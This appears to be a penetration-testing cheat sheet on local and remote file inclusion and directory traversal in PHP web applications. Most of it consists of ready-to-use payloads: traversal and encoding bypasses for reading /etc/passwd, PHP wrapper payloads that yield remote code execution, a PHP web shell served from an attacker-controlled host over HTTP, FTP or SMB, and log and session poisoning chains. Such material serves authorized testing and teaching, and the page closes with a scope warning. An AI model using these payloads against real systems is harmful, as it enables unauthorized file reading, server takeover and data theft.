> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# LFI & RFI | Directory Traversal

File inclusion bugs happen when an application lets user input control which file gets pulled into the page, usually through something like `?language=en.php` meant to pick a language file. Walk that path backward with `../` and you're reading files outside the intended directory. Depending on what the server lets you reach, that ranges from reading `/etc/passwd` all the way to full remote code execution.

> **Local File Inclusion (LFI)**
>
> Including a file that already exists on the server, outside the intended directory. Starts as information disclosure, often escalates to RCE via wrappers, logs, or uploads.

> **Remote File Inclusion (RFI)**
>
> Including a file from a server you control instead. Immediate RCE if it works, but requires `allow_url_include` enabled in PHP, off by default since PHP 5.2.

***

## Basic LFI

The simplest case, the parameter takes a path directly with no traversal needed at all.

```text theme={null}
/index.php?language=/etc/passwd
```

Path traversal climbs out of the intended directory using `../` repeated enough times to reach the filesystem root.

```text theme={null}
/index.php?language=../../../../etc/passwd
```

Some apps prepend a fixed prefix to whatever you supply, in which case a leading `/` sometimes gets you back to root anyway since the app concatenates paths naively.

```text theme={null}
/index.php?language=/../../../etc/passwd
```

If the app restricts input to an "approved" subdirectory, traversing from inside that directory and back out still reaches arbitrary paths.

```text theme={null}
/index.php?language=./languages/../../../../etc/passwd
```

***

## Bypassing Traversal Filters

> **Filter strips '../' once, non-recursively**
>
> Doubling the traversal sequence works against a naive filter that removes `../` only a single pass instead of recursively, since removing the inner `../` leaves a new valid one behind.
>
> ```text theme={null}
> /index.php?language=....//....//....//....//etc/passwd
> ```

> **Filter blocks the literal string '../'**
>
> URL-encoding the slashes and dots slips past a filter doing a plain string match on `../` or `/etc/passwd`.
>
> ```text theme={null}
> /index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
> ```
>
> Double URL-encoding defeats a filter that decodes once before checking, but the app itself decodes twice.
>
> ```text theme={null}
> /index.php?language=..%252f..%252f..%252fetc%252fpasswd
> ```
>
> UTF-8 overlong encoding of `/` can slip past filters on IIS/some WAFs that normalize encoding incompletely.
>
> ```text theme={null}
> /index.php?language=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
> ```

> **App appends a fixed extension (e.g. '.php') to your input**
>
> **Path truncation** (obsolete on PHP 5.3+, included for legacy/CTF context): PHP's old `MAXPATHLEN` handling meant a sufficiently long path with trailing `./` sequences got silently truncated before the appended extension, dropping it entirely.
>
> ```text theme={null}
> /index.php?language=non_existing_directory/../../../etc/passwd/./././.[repeat ./ ~2048 times]
> ```
>
> **Null byte** (obsolete on PHP 5.3.4+): a trailing `%00` used to terminate the string in C-level string handling, cutting off anything appended after it, including a forced extension.
>
> ```text theme={null}
> /index.php?language=../../../../etc/passwd%00
> ```
>
> On a modern PHP version neither trick works, look instead for a wrapper that ignores the extension entirely (see PHP Wrappers below), or a legitimate extension your target path can end with.

***

## PHP Wrappers for RCE

PHP wrappers are built-in stream handlers (`php://`, `data://`, `zip://`, `expect://`, and others) that PHP's file functions can read through instead of a plain path, normally used for things like reading stdin or compressing output. When a parameter controls what gets passed to `include()` or `require()`, pointing it at one of these wrappers instead of a real file path lets you feed PHP arbitrary content to execute or decode, turning a file-read bug into code execution. PHP's stream wrappers can turn a plain LFI into full code execution, each with different requirements.

**php\://filter (no config required)**

Reads a file's contents through a filter chain rather than including it, `convert.base64-encode` is the standard way to safely exfiltrate PHP source without it actually executing (and crashing on syntax it can't parse as HTML).

```text theme={null}
/index.php?language=php://filter/read=convert.base64-encode/resource=config
```

> [!TIP]
>
> A chain of `convert.iconv` conversions can mutate arbitrary input into valid PHP code without needing any file upload or even a valid file path at all (`php://temp` works as the resource). Tools like [php\_filter\_chain\_generator](https://github.com/synacktiv/php_filter_chain_generator) build the chain for you, this is the one wrapper technique that needs neither `allow_url_include` nor an existing file on disk.

**data:// (needs allow\_url\_include=on)**

Embeds the PHP payload directly as a base64 data URI, no separate upload or listener needed.

```text theme={null}
echo '<?php system($_GET["cmd"]); ?>' | base64
/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id
```

**php\://input (needs allow\_url\_include=on)**

Executes whatever's sent in the POST body as the included file's content, avoids having the payload sit in logs/history as a URL parameter.

```text theme={null}
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://SERVER_IP:PORT/index.php?language=php://input&cmd=id"
```

**expect:// (needs the expect extension)**

Executes a system command directly, no PHP payload needed at all since `expect://` itself runs the command. Rare in practice since the extension isn't installed by default.

```text theme={null}
curl -s "http://SERVER_IP:PORT/index.php?language=expect://id"
```

**zip\:// (needs file upload)**

Includes a file from inside a ZIP archive. Disguising the archive with an image extension often slips past an upload filter checking only the extension, not the actual file format.

```text theme={null}
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
```

```text theme={null}
/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id
```

> [!NOTE]
>
> The `%23` is a URL-encoded `#`, which separates the archive path from the internal file path being referenced.

***

## Remote File Inclusion (RFI)

If `allow_url_include` is on, the parameter will fetch and execute a file from anywhere you point it, including a server you control. Any of these protocols work the same way, host the shell, point the vulnerable parameter at it.

```text theme={null}
echo '<?php system($_GET["cmd"]); ?>' > shell.php
```

**HTTP**

```text theme={null}
sudo python3 -m http.server
```

```text theme={null}
index.php?language=http://OUR_IP:LISTENING_PORT/shell.php&cmd=id
```

**FTP**

```text theme={null}
sudo python3 -m pyftpdlib -p 21
```

```text theme={null}
index.php?language=ftp://OUR_IP/shell.php&cmd=id
```

**SMB (Windows targets)**

Particularly relevant on a Windows server, which can resolve a UNC path directly without needing a separate protocol handler.

```text theme={null}
impacket-smbserver -smb2support share $(pwd)
```

```text theme={null}
/index.php?language=\\OUR_IP\share\shell.php&cmd=whoami
```

***

## LFI + Upload Chains

When RFI is off and the wrappers above don't apply, combining an upload feature with LFI gets you the same result: get a malicious file onto the disk through any upload field, then include it through the LFI.

A GIF magic-byte header in front of the PHP payload is often enough to pass a basic image-type check, and the server still parses the rest of the file as PHP when included.

```text theme={null}
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
```

```text theme={null}
/index.php?language=./profile_images/shell.gif&cmd=id
```

***

## Log and Session Poisoning

When there's no upload feature at all, poisoning something the server already writes to disk (a log file, a session file) achieves the same effect without needing any upload functionality.

### PHP Session Poisoning

The session cookie's value is the session filename on disk, if you can control any value that gets written into your own session data, including that session file executes it.

```text theme={null}
# Find the session file via your own PHPSESSID cookie value
/index.php?language=/var/lib/php/sessions/sess_YOUR_TOKEN

# Poison it by submitting the payload as a value the app stores in session
/index.php?language=<?php system($_GET["cmd"]);?>

# Include it again with the cmd parameter to execute
/index.php?language=/var/lib/php/sessions/sess_YOUR_TOKEN&cmd=id
```

### Web Server Log Poisoning

**1. Identify the log file path**

Common Apache logs:

```text theme={null}
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/httpd/access_log
/var/log/httpd/error_log
```

Common Nginx logs:

```text theme={null}
/var/log/nginx/access.log
/var/log/nginx/error.log
```

**2. Poison the log via User-Agent**

Every request's User-Agent header gets written verbatim into the access log, including it as PHP.

```text theme={null}
curl -A "<?php system(\$_GET['cmd']); ?>" http://TARGET.TLD/
```

**3. Include the log file to trigger execution**

```text theme={null}
/index.php?language=/var/log/apache2/access.log&cmd=id
```

> **/proc/self/environ (legacy, mod\_php only)**
>
> On older Apache setups running PHP as a module (not PHP-FPM), `/proc/self/environ` holds the process's environment variables, including the raw `HTTP_USER_AGENT` value from the request that spawned it. Poisoning the User-Agent the same way as log poisoning, then including this file instead of a log, gets the same result without needing to locate the actual log path.
>
> ```text theme={null}
> curl -A "<?php system(\$_GET['cmd']); ?>" http://TARGET.TLD/
> /index.php?language=/proc/self/environ&cmd=id
> ```
>
> This technique is well known enough that most modern systems either run PHP-FPM (no `/proc/self/environ` equivalent exposing the request) or restrict read access to the `/proc` filesystem, treat it as a fallback worth trying rather than a reliable primary path.

***

## Automated Fuzzing

FFUF against a curated LFI payload wordlist covers most common traversal depths and wrapper variants in one pass, `-fs` filters out the baseline "not found" response size so only real hits show.

```text theme={null}
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://SERVER_IP:PORT/index.php?language=FUZZ' -fs BASELINE_SIZE
```

> **Other automated tools**
>
> **fimap** automates the full LFI/RFI discovery-and-exploitation chain rather than just fuzzing a wordlist:
>
> ```text theme={null}
> fimap -u "http://TARGET.TLD/index.php?language=test"
> ```
>
> **Nuclei** has dedicated LFI templates if you want it folded into a broader automated sweep (see [Automated Web Scanners](https://0-x.dev/automated-web-scanners.md)):
>
> ```text theme={null}
> nuclei -u http://TARGET.TLD -tags lfi
> ```
>
> **dotdotpwn** is an older, dedicated path-traversal fuzzer, still useful for generating encoding-variant payloads automatically:
>
> ```text theme={null}
> dotdotpwn -m http -h TARGET_IP -O
> ```

***

## Quick Reference Tools

> **[Hackviser: LFI/RFI](https://hackviser.com/tactics/pentesting/web/lfi-rfi)**
>
> Reference used for this page.

> **[HackTricks: File Inclusion](https://hacktricks.wiki/en/pentesting-web/file-inclusion/index.html)**
>
> Deeper dive into wrappers, filter chains, and edge cases.

> **[SecLists: LFI Wordlists](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)**
>
> Wordlists for automated file inclusion fuzzing.

> **[php\_filter\_chain\_generator](https://github.com/synacktiv/php_filter_chain_generator)**
>
> Automates building a `convert.iconv` filter chain for RCE without upload.

> **[fimap](https://github.com/kurobeats/fimap)**
>
> Automated LFI/RFI detection and exploitation.

> [!WARNING]
>
> Log poisoning and session poisoning both write attacker-controlled content into files the server relies on, confirm scope before using them, and be aware some of these techniques (especially `/proc/self/environ`) can affect server stability on older or fragile targets.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.